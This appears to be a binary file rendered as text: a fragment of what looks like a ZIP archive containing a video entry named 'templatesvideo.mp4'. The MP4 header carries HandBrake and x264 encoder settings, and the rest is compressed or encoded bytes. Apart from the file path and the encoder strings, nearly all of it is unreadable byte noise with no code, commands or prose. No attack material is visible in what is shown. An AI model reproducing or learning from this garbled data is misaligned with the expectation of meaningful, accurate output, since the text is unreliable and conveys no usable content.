)��"�)�5X�����H��*����AՓ*�c^!���E�G+��6V���n�;Q_�%��t�}�tU�IF	��V냢��i����������M�<N��k��}B����DOi���Z7����+u���N���Q_E���T����
�6�侻�j��޳�f��B|�v��[B���R��4��(�y
Uՙ-;u�'�yU�J��O	��ߝ�Ԏ�oaM�'D�}�	�:�2�@�eӚIV�L&C>�
��M�ͤp�
]^2��g�th�Cw����5wa�e#���7�
	���N�b��O8�:�اY&q��^�Ğ�ޤ߅�4���sn�/?�ld��㽙{A�4�����`h�}��ڤp�ؤ�v�$��qƠ��5����Z�d|q����҄��>jwI�B��s�9
�I�g�d?����f��]���
'	;��)C�H�bf��З�e�L	�K��UiP0a�Ywf���$�+J��>�����3����f�U�C�q;�n�!����&F�.�V�Ju$�<g�������>��]7*_���5��Uu'�.�>����#�X)�ςҚ������iXGT�l_�D�I�&
"�f$���ʜR,�nL�ׯ��~�f�'[CMu��/�j�w
01�a�?Z�j�|���9J�W����n��e�Cf�J��^�U�X
7�5�7+��LRQ��+��x�RX���P�43������J�a=�^WV�4r����&i�s��.栩�qE�<�e�-�@�t׈0�D�P۸���L��Ȭ���[�g��*�����E8��.��U8T,�cl���Mf���M6yr�.a��!9������2����x/��"�ޥN�
�\�#�6�Ͳ���<�~0e��!rTk�[źD?�I[��]�W�����6
�3{���r��\���,���Ӷ���H����?j�Gǥ�m�q+/K]O��PX�l�
�O�6��v���8i0�5	��i+A<�h�Xs{�XEjõ�צ�d|�����OH��7�W��d��=55&~�飋��r�Q%�}v��ˇ�@�6������l��&O��?�U~u6b�z���e@S�t;ǃ�G�A��*I�@v��Y$�#�g��f����!(n-�7{����f)�!�+z�p~�w*ѹ��q�7�IH%j�%�N1�<�4�d�+Ƨo�5,��܂0	��g%;�3(��=��(��5�E
U��ۦ���*Oݮ�J7hxܙC� � �yvڬt{�<����I��/q'&rFd�uX 6�!�g�k}ߔ�q�j;ӷ9'�b��yp�=NV1����+�U������>�tY�a�o<�Ա�u��j��2�f���Z>b�*�R<��6�⇸�;&��h�3A��@&s��R�~��%y�_/�Ϟ�F�g�A'�I	�7��%��|>��Q�XB��M+)�nt�>�T�O�k��TĔQ��.��a�նqy�`b�Ux�ԛ]��ڇ�Ţ�<�u�!s�,LO������K����.hC��#���{���݃T��?cB7^����rĕ�=M��4��~J�{�Bmm�m w�ogj�֯�q�	���% ����u�!ͅu�����A&Ks�8y�hj�.��ǚe�]p�fr�-Y�d���؞������ι�B5�,��'l7�����)R�M�4-ο��ig�+U���"м���0z>���A�.E,_^��-E��˼��Ro�$�]����,N@���(後�:2���,��{�β�d�7M;8�BDyŴ�U�sC�C�V|��Q��BV��(��E����fT�V磓3S��{��{h�_\�ZK�� 	x�:����\zq�ސ�fn�b��D�W��j��|İؗ���,~E�׵4��З��PR�tx�:�e��TA�
���M��zZ���0n��8���A�<e7�:���	�!I���_<�m2�CC[�Y�ӇLN��H^����|'�8,�@Y
ͻ�gGzT��R*��*σ<��Z�L|�-�v��S� ��E�h��	Y��)g׾Pg8X��P��j��u�J-VY�o��I��S������5R�;)C}V�^���&V
��k��MtD�ix"�l+����¢���y���1��2����8���U����`�����ހ�T~]c'���c�o�9����ݦǖ}lK�$>�gh肏�f��*H*��۪P>-<j�� cR�r�=�ؒ�E�Q ��T\'�'#$�&��͌�	�<Ugc]�|��Bz�ܓR��Tۣ_ҋ�K�a��"#��כg��OD�l�����m\���b��A ��|�w�C���̗�u/��N��YX�H�<1���=n5X��ZEUܰ>�
yΥP�M��A�q����t��
�|K�2r��	��~R.���?H�?|z�i�τ��TT�J˶
��y"{���5]�}���-�`�D��療E �q��@���|A�T4����? h֝M�NN�	���_�j
NT$eN��U?�g7����c��dx�p% .+6��|�<��bN>���03y�
��	f�
�<�2O���R����
�.�N��O��F={�Ww#���SxH:n�l_�cW�_V�Cߋ3�⡒�e<x��S�b���:�UB]��
����_��(��t��#8��G���>��z'\�^�s�@�1P��z���P�`6V�&H<<��!����E�}�����+I�#�zM~���~�v=��o":ݶ�X��0�u��T�������œ(V�R���A3;@�bB��7��֋���e��}��F_#W�ՌsF�O�#?zò�K�f?o��qX��KI�Zd��{%7ٔ��:�n�|�:�]��b�����Ά3* .RK��u�ѝu^�~s��E�rҙ������凸��ign��~�T��땡9N�D����*���݌t�|l{+�#��űřty�:*�-��b�}�4��0p��Z�%O?_��D�#(}�gI��iQ�<��������X�䚎@��3Q��혪RT��|�M��B��1��i6��MUJ��87�-��nT��s�a:h/i��Ee�x�_�Й��i�c�E�V�����K�a�ؓ��u�X�ճ`V��O�R;��߅��U�O6��N�/P-E6n�o��@ߴ��]
�ӄ�}2�n.$��,TE`]�f�}+���:�4ܞ���`�)���1�A4(�?~
�tLr�����Jr��Z�
�X5�<���n�+	 � z�a�X������x2|����fSa����WX8��}}���nD�oQ)�*�� ��l1=8c�Z����h�����}��g���4��F@;���3�א����bi.�G�gg&YI�=cG��hc`�0e�B�,����(`-B'�e�	ڽ��.dZ�l���}_����^ֻ{K �zoAu0�k½-��m�s��
1p:��X4I]���#�&�CwO$/E�Y���}���C�~�bxq���G���-�	
�y��i8�X��	D����X��
�!���W��^P�-���se���,�l_WgGX��7r�~��V�f�����)�@�c�7�'���$9Z��2�j1��TH3�L��A����!a/w�|��?r#�XaР?W�w��%����Ė;΅A�U|���j�������?�_���?�P����]��[d>�"i��l�++q�&�Е��i�YkȐ��s��X;������?�S���"��Hy�$z��&1G6�l�V�.����b��~O�����Ȕa��?����'��գb`�E`7�Li���+Sc�!����u���d��(�M2+�m���
�Jx�oS�R�鍔\9(�D�I��r��~-��������׍���d/�ďZN8�׼��
��p��!�\���k9��M��M�|%H�y���k��ߪ7��]ݩԡ�6���o�"'�JLo���a�8����h��/<Lb���w2���7q�	���mT?(�%)M��XrJ��X�"��ᯨ��8<Ƈ��\�t�����6���P"F���R�5y�.[��(ڙ�։f���|fQ�am��j�IV#���c	��1)�Y���<��Xڐ�9��Tc�y�L�'�ܑet5-�.�����/{����%�\o������HP�)�k������+��`�xn���֑�@��!I��>g����|�’�ke{6a���+���{�tL���~o�
'�ƞ���YӠf=_��)�����v^
�y�k����ec%q#����]V`}N2�'H�j�����)��SA�rE,O��0���T�ꊾ�i��u�F�Q鿅���7���}72}��z�/�7�!��z~�N�C�3��<���HBS&u�~k���M�D?�b�<�Ga�?K�Zvނ��?�Kd��v��.\t��f��
�l���RVwуJ������
���0��r(�4�Yq��lgtV�wb��/�ȝ=O�)��/v��"-}�BغI;:��rk���{RB�5�-A��'�^�X�E��<�c{���r\�S�����G�"	5��c�+�����,�Zg��Â�ư:J����x���Q�/\����M1��ftߕ�@�0�VI͟�&Q��jA�Ih�;@}��tO�l��w1A�CF���ۄk묠��u}�����>x/Į�hkCx��M������T�?M؜:�jPy,��/}��jXPv%��bރ�"@���c�lu�(Du�F��;��}�cX^���D�j�O^�z���#�C
����XF��`j4Q�C�Ux�:'>{՝@�	��g��V�(łK�+�4��|��@����3~
*6_-�ud��#1B��#��cO�����!��O.����&@��V���fqn=���I�	�8�:/�j�h�x���#�;g��]���c� �`
��>{L����dA��4����_���9#��3w�h �j�����pE��P/o9::�?+lFş.Π���M�kL4�ٻ�Z�SJR�Q
��M�ϸ��j�
�&����=����!�w4�7Ԁ͖%I��9�]p�q�O{��$Jqʼn����n��1�;�����g�a.���/��ME�駱��,��[���Q�y��-�9u:�s[d�_�}�غ��%m>D��*ŧ��s��W]2��!�е�wo8���r���(/BI	�9��������Ӕ��0y�z������ �x���Y������b9����OD0��>o���K��`��9D�;B���]h�	g`��_/�f|n�x���#��oQ��a�d��%�����0�T� �!3�fyG�j/�"��n��*��ڎ/��C��88�E.��}}waK�V����4b�1�
�o\�0A��"2��k��M����Ma[�����[�|Jl�L5����ˆ�w���h�	E����n�\�)tq�rv���1�yVI��X�c�B���t7K_.Z��9#y��/pkAs��FI��$;���Qʘkv̭���B��yt��HFNcK߂�	$״����K>*�st��[�S��:�ˋ��"Ұ!^	T�b����kߦ�������I'R�ؕ��W����$ݸ�m=�Îv��%�iS�-p�O�>�'�^����ȁESHڒ)�ִ/|�!@<����ѦJt��4e
��]t:~���W\�GD<��,����s�k{����	�f3�|s٥������s�\�*�gN��6$z�
i3��/����j%N`kCp'�&�Hf;m`�-�U��+rݵ�M|aX
U0p�sGl��~Vr��͈Y㎅��`�<
������Y�x@��m���f�`}}b��f�r:�B�xp"1n[�r1W��&r�F���?y�s�YgZ���}	�'����挭������o�(U�8��0<d�����N�[���Op��7ze��;���w����no����r�aA����T�^dd)���/S�L!#���l�#Y��I�d�A�)�1��t�Y���u��,�0��Gf֩[��Z�j����A��E,_^�BNC����i�ì	A�u>��x�2��c�Uq�xQɜ�դ~=�P\�y�0R01Ş�V�3�u�ocjx�M�gdVO��*ùt˲/0��B��.��qZx���|�N[��&���.��ЧG"�2k]�8L�Εd��d쓎�U��������ǔ�#�Y��@B������Kg����}-�̈�L�u��\��!n�F�G������tO�2]��9�`cAӓ_�A����DkB	S��vQSK�'mQ�?�d�\.�'61&"��ږ�h�<ʕS-��kk�����s,���e�Z��@�E�A��~�2��N�
����	tS��	�e��D��*�ǧ��PR�����\T)���Bֱ��ԟgݲKə�DW��D�&2�{)b�[�ͻt)�y#	�
O��t#+Ј���9�|�)Pb��Y��A��4����x��a��n�S�o4 ߨn�J�f�|f�9�C׾�k��QR�hR�ӳ��"�oo\ʣ_�[�@��E��{���W{��eI���diȗ�yU�^�-��jD���X�*��0���Ip�U�J�G�B�W@��m�p�Q~���ucJ���o$�ٮ�v�Xk
�����Gr�#�>�ȰA�P^4���}�f���>`����S@
�|m��Hf�5��hҜ��/�����b�%uT�X��Q 8�p:�/P1��)�$O	�)P��� �2zK*�d�qƠFC�Ŀ.���ko��~���qқ2fV�Hj��}/3o���=��~��B���33�k���~|	�q���6����^GoC��Qd�i���e.k(�6�զ؁߫N���_nl$�7i��z��
�[��X7h�pZ�;�(8��=�-cz��H�JUR?��]��~�y1���b��{��o{�i��|��K�� ��9������U�����q36wS`����r�4��d����U�r���ڟ�񣈷k�H�NW݌Ž��K�����7��T�]���f
�0XV΢�b=�;�R"Bш'�J��n��!0	Ӑd��ī�';ڃ�m�U�z`v��|l6%��;���[
�:�H��/���zL�}�XR&�ﺡ����QG�^&�j�h�w�o ��.�t�`Y�,8��K�32s,RW�D�e�:G��Ʃ"(��&��.��S��Z60FV�?6+?xs���Y����]��Ƙ!��J���I��#�yU�@:}���ߦv�-�"�\�Z����|�A3���q)]��DmN�e�6oB�/�����ގҴZVo�s�4#y��M;��4@}=���xy��K1ҋ�����K�(�E�r�4��w?p�AeHU�Q�A��E,_`�w��f�J]��q�K�o�n�F��w�����$"f��(�N���1|����xX_M%��<*���J�20��)�s�U��̄9M1���Uv�W���i��2u*�����w�tݪ�!��j��ɔ�ă(�ğ=�tO�_X.�PW�f���
v]}�����S�v"�����ez���]@Jti0������M�D�D���`Dž��%E�:8o�T��"���Jʞ�?`B��k�k����ی���cU�?nE�-f8w�����A�4����h%"�����Ft�y��vO���J����+޲�T>≤���l{�pZ��@E��*x6+�^H�-K��X<����̃!��[K��F�fx�''��0Yd*r�`F��UN���z��.G�����OFH�듗�ݣ�#K��4_*`Dt4�73V� 
0�g-eR�	�=m�pK�D#G��RGJ!T�K����Pk�s|TuO�=2��g8��f7�}�(RT�x�!�;�k��ۄ���UZ2��S9���8M?d���w�nJ�e���v�����m�
4^���f����Cw��PP��PoLIe�ڭ�ئ�q��{�t�e:���=�<��-��,��<M~�wx~��B?P�{TkR<<�VF6����NO���m�K��E�yԡ~ء�7<��@i�)��
�����	+6��H���D�^z���ag�Q���LŸɽH�w���''�A���5z[&��Bg�ɍ%F/�K;��Y�f�kj|����˺�M�%a��M�]3@�_�pھ�a����:	c�FG���HuUd�^q�SwS����ʴ�P�x�O���H�w}�Pn5ѧ#v�gAm�
�9��o�.L�pG6�?[.+�AX=F%냡���5z���9=��o�3��/0����6Ż#�q���.zmJ5ڟ�:M���6��CA�=E,OZ�.L��ƍ�s��N��{�a��N�q׷t0s_�8�0�2�b�$Ƣ�jo�spe��_C6�^D����Ħ�"pYXci�u)ˀ��J�	H@�����?\�I�C,�r�U�A�C4��������T:����3���֪�����v���(�?�:0�n�>}�֩jM����{y�xN+m��)^���Q�;=��6)��`��*�
%ߡ�s�������eE�����[p�ľ���}|�=0lx�VH��J�r�����d���q�¸��c�H��E���{/�G���*�3�O��-,f��5
�7ďT���8�~����/zW���:�!%��>��2�	q�q�u�M-MT���.��"b�����"����)-��]�_)T��A�w��E'���v��/������F�6�⽓����[Cί��Uւ�'*J=�J�	�Ͼ(�1h֩�
��Z�XE��m(��f����he�7l��o�Ia5���B�>�jQ�?+��K��^,�J��g�['׍:f�����dX�"�B�-=>��lv�E]o
��)�Bp%���u^��a�j���{r� U�}�8��e�2���I_5��M%0�	��B�T9��N��(�-%��\N��R�~�!ع�QQ4M(F�����r$�9q��3��b�P0Mk���5J�v�8�%aji#���^�0�1�$���ʭ��bQ�^���Ϊ��{-�?ܵ��H(��[p�?�Ԁ���PJS���.X�p���ĿǃG�����p��YY�M�_
YK�`Մg
M<��\(��%4E�)�-9L��S޴���0ʙ���W�D����t3�䠷ڼ�\n6��y�J?p�8��AtO�n����V�0aŒS��6�t���x7�tU>��{�"�4{G��<���V�7�'�#�\���_�,���Ħr���p�30+Ɲx>ZZ���(j3>��D��fIw�+2�}�aN�Gަ�>7��VG�tĐ�%��s���2F���l�s�3d����7��ZຑV���۱���d�yĊJ.�z�o%�-�ͭ�f�K�|�B ���իI]�2������]4�Ꙍ����,,(�,!Mz1jl��~��� �4�PY��9;��kA�aE,__��$U�$�A�0hҽ�-v=�HA��/�{�c�x{˲A���ow��f�uކ"ܕ�L���@�R`Ap����>�S�2i�&�US�jz�D2W��a4��'��tO�
�*}�Bƪ�V��l���� �x}y�K	$	��D�l�Yt��}$����T��XTABA��4������&T>��oZ#/{�کi�)'�p�D$[��]��j���|s�L��{�{�s���m�%](ژ�Gki�p3ߩ�p�w�-�&�:˼�ۧ?�krK����R�?%��0������L�cO�/����y�#[��=�Wl�L�L<cZ��_� ������w��oL�#��xh1���K��G�c�l: m��ؙ���T���X��q���y�����3L�Tas�2�,���0�@h'93�M��<�B脦z�2��S� >μ��El��֚*�k�OSg���
-�&�`ߣ_��L�/�+�� Y�D�mZ�Ι��
��Ū5��&_5��Ay�Wi�	u��dM���N�j�!֋oD�=i/V�K������l,������y��1�U/e?g�����oP��-�#�[`���%�o-���6�x
����
�'��V޾�eg7bg-X�D8%�j��M���
G��L�� v�������c���s02mc���w៞<t7��-��U�к���C驅�:�dž���bsI�*���d:�}��B��]�~�c�sy��_��J��2�l(�aA��E,_`0smv-=~����!���a-��`	���i��Μ2dq���BA�?�+4���M�8Ԓ3���*v�Z��W�@��j�ܽ��oB�*$��tO�÷���s�
��f�a�Z,c׏���7�p�]��D�c�P�C\����o�Ճ�]��A��4�����Yן�py�U��[7��S����C��6&@�N(P���8=�hH�D�^���~�������eQN����5t�zՈL�����e��iܵe�
�K��*�ᯤ�/t9s�[�]Ϭ�\�
8 /���7f�
����Yw�X�G<HK^F���1Go��?ywtV��r��0�Y�!4{�P}�E F�^��
<5T+u��Ө�:1�*��B�UJ���A��=#����
����(1��MV���h�i�C�?	q�{�B*�1�$a�]�2�)���D��U��+�Wԙ٩3�1���e�|g:�U;Z�6�4㒠Sp�P�'9ԚC�WvE�
�P�%d�nH�����FW������Y�$�sy��}�n0	���(�
�ԕ|�n�+t����@N+�$��NĺT7n�j;��M�W{7���&�,����
��w
q��r���-���CF���fy2��Q�A�
>L��$�X�Ĩ���6�u+���c�+4�Ҏ���¼�˷��q:z!��cY�fB��>g�R1ܦ�Ul]����vM��t˶:��z�E�!y�i����+��	�P�9�C�E��^]�N���ډL���������:	z��+�_�C�T�i~۫�>W�2�&�;䏜��Rq���Δq��0�w�����ʚ�_qn�p��@D���ӳ�����W̯`�ff
ϐBO��)�����d�r�Õ���S��O�-;�Hd/\_���1xȠW���R�%f0�_3�ݲ�t�U2�q�mdm@����kv��r�j�7����-EU{����x�H+������֩��HW�HO�	�O2�p�ح���c���t�l��4��Q��*�uNԂ˿��#�з�4��P0��t�*���� ������Fw�Y+�t�
N¹fq?�q���\m��|�V���?�pt4%���l�5�~{��x<��uT=�B��iZq���ww1F�.9���LWD�iT^6��y��e�9Ō�I�HB�
�0�9����XY�M��4��W4�.�Ue�b튲��
~�M�?��.�g��*��B��k�&�@�d{�
j����3�0�=јvh(�f|j(q6^����>OT	%��afy�Uf�-p�`������V��-m%Ti�NsRȍ�)d��%��S_�`.�DPm�x����^H]c/A�+E<_���G��I��P�m?�w��r��ȗ�O�9edfq��JtO�c�R9�s��g�)�LD���&y�Ws�[A�Q4�����̈���+R�E%U_�,�>ŇF��d`������|��އt�����WP���
_|�C�:d�:s�1_jh���ZU�'/�A�oE,_MU>p���tO�	�Հ���D�	�Հ�A��4�����e����e�x�F^A��E,_3���Kh��tO�	�Հ���D�Hp*�L���A��4�‰��� ���?���D�	�Հ�PK�y3\'?���@
�@
(views/features/assets/templatesvideo.mp4nu�[��� ftypmp42isomiso2avc1mp41�moovlmvhd�ҩk�ҩk�?�@�trak\tkhd�ҩk�ҩk?�@|�$edtselst?�p7mdia mdhd�ҩk�ҩk_�y�U�-hdlrvideVideoHandler�minfvmhd$dinfdrefurl �stbl�stsd�avc1|�HH��4avcCM@(��gM@(��s`-A�A�+��`h��2�pasp stts��$stssh�4��sdtp     �ctts�p:�p�:�p�:�p�#(�:�p�	p#(�:�p�:�p�:�p�p#(�p#(�:�p�p#(�p:�p�p:�p�#(�p:�p�:�p�:�p�:�p�#(�p#(�p:�p�:�p�:�p�#(�p#(�p#(�p#(�:�p�p#(�p#(�.��#(�#(�.��#(�.��.��:�p�.��#(�:�p�:�p�.��:�p�#(�:�p�.��#(�#(�#(�p#(�:�p�p.��p:�p�#(�:�p�:�p�:�p�.��p:�p�:�p�:�p�:�p�:�p�:�p�:�p�.��.��:�p�.��:�p�:�p�p#(�p:�p�#(�#(�p:�p�#(�p:�p�:�p�:�p�#(�:�p�:�p�:�p�.��.��:�p�#(�p#(�p:�p�#(�p:�p�p#(�p:�p�:�p�p:�p�#(�p:�p�:�p�p#(�
p#(�p#(�#(�p:�p�.��#(�#(�p.��.��p#(�:�p�#(�p:�p�p:�p�p:�p�#(�#(�#(�:�p�p.��stsc��stsz� e !,�T-�OM��a	V2	'�����+R>�����'/(����pEkZ����8��A����+�gL�k;jRi$�0""�M'�-�
������|	��k�����s��
.�
6
a�	;=�s��D��X�0
�2�}��D�u�ha��Z��������v��7���G���������%��D��^ �?�!	��	��<P��U����Q��@��fV�m|�	����"�/.�.�='�"M��l��>�8��P��&%E
X
�eS��,L��&Z�$��r	�8crQ	��G�%������7(�	�B)�c!8=Hba7$O5C�R���l�������
$�{�E�q{:		fk�u	��������� ����'��j#�����P�~�UI�l	��F'Vy2��{�^@$�6Dt�m��}��TL
���l^=�EG
D9�cs�����1N�)�6��j�Q��pA��i��K�/x�L�v+;.�qp$	�T	�,�G�stco�oudtagmeta!hdlrmdirappl:ilst2�too*dataHandBrake 1.2.0 2018122200free
'mdat�����E���H��,� �#��x264 - core 157 r2935 545de2f - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=6 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=300 keyint_min=30 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=22.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00��e��7������::�8}�F�M��M	d)��x.kE����
:w�V�G,>���0c�(�A�7��u�}h݇�$9]04{9#x�*�7xS;�<�i�-��b9���l,8��pi ʜ	{^��DC��琬en����V�Kְ�o�.U��I�%sX��v
u�G��zX�]L��;��j&�|�����&n�Zz_�w���u�2Cn�LT���#%�s��ԍ�l[K{����,�×�4��ɱ�����(r�Nj�U���>�T��\���$R�a�KFIX���$z}��#Ƹ'�*}?��em����Z�P�� <r��mJ�e�~��	M
�}m�{�s>-��%���H�!�J��&�����ie�p�R2;�0�(��@�7j�37m�W�E�/�ҧ/���}�w�(�7�@�gG�1�-kur#iɍ���9Vb�j�݃G�%��/���ձIA�e8
��~|�x��m�|�+��t�ݎ)c�^}�B�][��gp,��Ϗ�5�� K��Q��Uv;��<���ۺ��*�-���>�r�I��$-�*�źљ�D���U6vl$�b�ɞIオM�!���5����ݓ��ҫ���6��8�o�o��3�܅ �ga���6�
/�l�{�r�j�_�4�H��G��

�Ul����]�C<��BX�f�y�#�<�1'F&xq���4�;e�hZ��֦�/�a=X��Z4L�5㣚���)���6t���������J*�٫�@b�8k_.3C)o�£�	q�9��JT�Nk�� d���h��Q�c]Ǖ�c��|<��iW�(kH��ֲ5�j�`���|ku
�폠2�,�uD0��L��i�6����ӶL������Q���cPlO!vYZ���OLQM������.����v~}�N(�c緕 b̀���So@�J{�nM��j����u��2��V���W|i0�rN��6N��	ǂ�-L�
楜���]���wȢ��sr�ヷ1ǀ�|�Cv��Ѷ��}4��oGh9�?;󎽰 $�h�+=)m3t�?��fw

�%�i!w�D�}�+@�x��_A����dT��;��1�����J��@#w��``!���,\�7Y/81�q�…�G�ղ�Ÿ��Z��M���\RG�Vw�+L����-,?�J�$L����T|2o>�l�O�|Ő�r!���SRV�<H){P�>pX���ޓ�t�����?uyt�7�m�������5���ljw:5#���7�:���MH�RcR9kA�����2��1��AO�爳7�<zV��l�R{�`{�*��J�,�,ѧ��p>�]�6� �G|͔��G�Ieja�i�������#W����n{.�2�*��3b�h9�a�k���'G-�y=%g�/�Z��AS�2�E�S��Kֲ��D�P�;�̑��}��[���-����l���nHƕ�d���kF"j�
N�o���qf�vw����8w�d�bbD��{=%�a]��ب!��������;03�s؋s�E���waK0策�%�}�ň�/z�9��U��i{�����Z���`g�[��ev׈�����k�@�(s*gV�f�[�?I�S}-as�[]v�f����Ot�������� �J��F+����6���+�?B��'���i��w T�W�1SwX�j�pJ1��gZ
hX�	��<�ߝ���Mz�������.���L<bez����2��_�7Z^Ӟ�݂���1�kK�_�ib`q�Ӡ
3�w�R���i$ֺ��P�k5E�W
�o�be�
�&��d�$�����`r��Zc�!�lRP���w{����J����!�S�O��`T{)2I��n�A�23�a��k����l�ܵ7&��)W@�	�,����x���'?>
,�ז��6$�@�A�綆�Z��K�*�����6��B����p���1���o
��Ybp���"
�P`$<��D*�w��c�ų��k�'�#R�P�3�����Wv���N^��W?ќF�V���s"��7Jԇ`��(�����&w8�@��0��f3�BF38�}�BY�q�i��m?�?
�� ��B\Xy1�2mRA����ΌI���C�d�)��_��]��o�o��Ê�O@Mݣwe/o	��d���:D��1��"t;G�][Vu�^��E��R��%��._g�\��/f�g3`]�`�t��������fF����Pp�,�$B��+P��8�;�"Oo9G�[���J"T����'�� �-+�̥�U��_����5c��"������B��3Z�8�d"j�;Ԯ[9�h�
f�ydE�F`f�;�����d[3�V2
����T�l(`��3ЌМJ$]�����.�g�|?�MZ�ZA�_0���<Άg�J�Z�0ώ����T!l��Z�T+)�1D�s\�e,,��+�8p\n
�C��Ζ�3渦�a�%���4��FF�#��p_%N�+�H�����\_�U�/D �/���Yh�=_NE�7X�v�-%��=�rQp�w�^��#�ę��$� ~��f�M� �I&A�zX�p���A3�:����֣gً#�i.�<��þ��r��h��s����Y��e~���������7>�)`� �*>fߪM�=kjT]�b�
�AN�'���	�ܜ
��% 9|G W9`�R���,��"�Pm�4Bc~��`�5⩜B�ҵ��T���6�(��{�_�e��0p�/�š��Lir��P�d���{|j^SV�R����od2Rͺ��}��j<�k�,��V1|��,f8n)ǎ�o�8�ʱ��M�mW�#�V�k�B�D:��7W�&�	w(�W3���.;�ٖ�{�S«�AT�gx�����^�LPi,����OK8�!�Y�\C��ƫ�!����NJ%2aa�i�
6����e^X_z�1\�_��֔X��;�ބR
�H͌탌�ͱ;5e���_��.�����5&' cͲFm��"D��z��&���z1
i��v�����}���?&g�.�=
�:��Q@�#O�n�g2o�i]��@`}7��y`
Xu���-W,]g�b�Ӭ��hF DP� />������r��N@��g��?V��D�GkaB[Ʀ�L&�z�U���O㷫��;!T1�����sw�f��(�[���ޠ�R���Ik�[A�%3���ĥ�/�+�B��h�2=g�����><��L4V�>$�|���h�������d�U�<�w����B���U4i���m���̵�C
L�۸ G8��OF�����=E�9�lߔ�c��\Ø��.g��mN쭶�5H�j�]Z8p��y0:/z��_��k���@��X96DZ��px��\�樺�e�Kȇ�J-̲sE���j_���6f�"��N�C�F�ϸV�U1�?κ@	��ZƾXw�;���/胓E���a�9��P�9�n�= g��d��C��`�7Ski���jcL�,ɏ��m_�[�f���e�D,(����<G��:�_�1	�
PR2�� #���~B
yS�ymW��Ѩ��t-j�K#FD�|�_g�-�\n0�q�px��_�-{����3o96�ݙ\�;�)Oԅ(;�ҥ+@)t
�����`���Gc���v�_�*��gF�5����`&�Iɳ�\�|W.]ê�^Z+b�V
L���W`BO�ld@!k�Xڸn��8sS��������Tg�>G���4yL�H�>b��!����-��#@��\<)��Q�>� ��#x�eC���K&��]H�Dڛ�(Xq�������$^Š![N�f#�����ɡ�c�x6n��"�,og�9�DO��j�&�s]m��)h�D��o��s͞�\@�H��5��Ģ8WD}m��p�kY�)܂J5�lvk
 S�di)��AD�\�wW�K���c��W��!�2}-e0�m/��Mo�CI�t.�1J����&ICX-}
҈x�i�?�J�DƼ�$�E]I��#���,�E�IRt	 B%�_��(O�a�t����|����\X�+�O�Ag{s�?Bti'8'��%�Ӽ?m}�Voϼ��HeV�}L��f��e�SS��^��,���ʉy�_"
tsF.��	�T��T�`�>R��F�Xz	�cz�X&oVe}�a`�?��`m���S��������s��^�z��Ѥi% �P�5��/�@!X���԰���&��k4܌v�Q�(��#���.i�P�g�>*(��}�sc��,�\<�>��WR7]�qN�>���0���͗��_��y�Tѓ	�8Z����~�N�c�w�43@!CQ���U�`_�|O��\+��+��Bӳ�X�)>�}��ω
��{mx��~w,6�(`4����x]-�jQ������/;�m��� ����=P�X�2s/�k'���'�$^e���Y�T�.i5t<���(��I�/��Ё�.���ի��JF8�Nz��%��*�N�Z�
��iUO!|6!��׎_v*Ŏq�c�UA�Tg�ڋ���y'�xI���߾���
5�[��,"�y��4!�&BB(�m��u���.x����91�/B����	�_b��|�H�jK��Q�{3'�
5���
uȫ�f`���z�%��(��&h��qLm&�S��Y@pr��ZŢH����܉�r��I�B4��v�����Q�{Ok�����M-I+�J��2�?~�f'h��&�Gg���!~]85�fk9���{�� �Qw�ɀ��+*^H
�S%�\��G��F-Z��g�!�5���aOq��N���_�Ny'B湲����JeC����I�2{��d�@G�� ��d7��a�Q]��!�wA�N�h��K��V.Dv.܊00x�D�^�����!��&�\��AD�M��n�#�/׫�o�%������E�h\$,�����6i��ὃWu������B��>^�w]h1�8��?�A.Q�II��,F��s�_��������E)H�4�R�^���'�Q��/��{(���O�)�۾ж���g�$6Ll��!cn)87�F�A��{���R�%/
�,)��2�N�xt���G<o���T� �TJ��4m�/8���:my���6yR[�zL�-�W+�$��`�F���o��go	8���v&�,#����^�e�h1	l��i�!&�;o��N���f?�W>�	�am_�I2Vb����(���.U=�fš�h�Y&�CJ��_)�#��2�)tV2f8�s�J�h�(9cY�F�a��ĝ����)�C�7g�l�O(�_
|��d^��B����z��\��,�<??i�4�� <s1ʆ?p%�C
�dC�gW��o�.Y��l�ʵr���ɂ��E/J�6͚��.�G�:�7W�c}��? ���䰮� ���]�{�X��kY51Tk�	��u�E.jٱ�h2�4B�yy����:Z���ј�8�qCe6�S|
�=k���*rA&�<9�wͲ4MK�*)NK
�!ٵBMqXf�����ᯁS�wԜ���PE��ֽăf��`���+�X4�G�<���Fp�^f&��Zn��x͚O!�ڸ�hA|�Q�/}_FZ�y�����
��i�Sw6lHL"�%{�J���k�Hلz�"�$|IKc߭�?�Iਥ��U�V��d=9�ʤf��U0�.dI�����0�V���օ�}��D���ah���ݿ?�S�T�	Q����=c=!���&:@,b�V���9���l,�t �0�jә_+*�պ:-�g5����66>'_�{���\�e4c���	�>��;�[�2R�64��
ީ�PZ��V��{��˹1��ij��yQ儀�f=j�@��
��c��32Y��� 5�EJ(�`L1M�(t�ؤ�9�6��o����8�U�KAn�/-�d爃
s�g�������j��G:�\f<Oy{�Ikt�v��]:Ĵp�Η1f�Lq�?opM�H�i��̜�sy�T��&	�����9⌘N?�$p���j�����Q{ݥ�	���
�*��/����{l ��>ڳYN��\:��*�†	1�ա�_X�Jq�`,ƭQY��	�D)�78U�2���,���~1�}
�A��)��i�L����.Y.#�n�ox�_�+��Flg�2�S6��0ʫ�^�*��`�A�j����,\�����h��2�J\E�M=��'ۛ ��i
<��%������L�W�Lʝ�Z�h�� ��<�Z�vk��
+S"C�P�H7�)%;�&P��&%��|YH]����|n�|��j�1q��	�<an7����<�Θ暻���XKM�}��;���+ k����@�i�e��EZ�n��,`Ą?�E��T�1���5�p��#�#����c�,�FK�N�o��9���J�o���*��%,yu�x�O�J��a���T|?^�1#�#���HG�-77��P�z�ld3_C�O���Wns��]���@��	�_v�����.�_Eկ�`��ά
